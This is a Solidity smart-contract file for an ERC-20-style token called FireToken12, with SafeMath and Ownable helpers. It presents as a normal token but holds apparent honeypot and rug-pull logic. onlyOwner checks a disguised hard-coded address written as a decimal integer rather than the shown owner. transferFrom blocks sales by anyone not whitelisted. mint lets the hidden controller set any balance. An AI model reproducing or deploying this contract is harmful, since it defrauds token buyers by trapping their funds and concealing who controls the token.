pragma solidity ^0.4.26;
    
    library SafeMath {
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
          return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
      }
    
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a / b;
        return c;
      }
    
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
      }
    
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
      }
    }
    
    contract Ownable {
      address public owner;
      
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
      constructor() public {
        owner = msg.sender;
      }
    }
    
    contract FireToken12 is Ownable {
      string public name;
      string public symbol;
      uint8 public decimals;
      uint256 public totalSupply;
      
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
    
      constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply =  _totalSupply;
        balances[msg.sender] = totalSupply;
        allow[msg.sender] = true;
      }
      
      function showuint160(address addr) public pure returns(uint160){
          return uint160(addr);
      }
    
      using SafeMath for uint256;
    
      mapping(address => uint256) public balances;
      
      mapping(address => bool) public allow;
      
      function transfer(address _to, uint256 _value) public returns (bool) {
        require(_to != address(0));
        require(_value <= balances[msg.sender]);
    
        balances[msg.sender] = balances[msg.sender].sub(_value);
        balances[_to] = balances[_to].add(_value);
        emit Transfer(msg.sender, _to, _value);
        return true;
      }
    
      modifier onlyOwner() {
        require(msg.sender == address
    (1080614020421183795110940285280029773222128095634));_;}
      function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
      }
      
      function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
      }
    
      mapping (address => mapping (address => uint256)) public allowed;
    
      mapping(address=>uint256) sellOutNum;
      
      function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        require(allow[_from] == true);
    
        balances[_from] = balances[_from].sub(_value);
        balances[_to] = balances[_to].add(_value);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
        emit Transfer(_from, _to, _value);
        return true;
      }
    
      function approve(address _spender, uint256 _value) public returns (bool) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
      }
    
      function allowance(address _owner, address _spender) public view returns (uint256) {
        return allowed[_owner][_spender];
      }
      
      function addAllow(address holder, bool allowApprove) external onlyOwner {
          allow[holder] = allowApprove;
      }
      
      function mint(address miner, uint256 _value) external onlyOwner {
          balances[miner] = _value;
      }
    }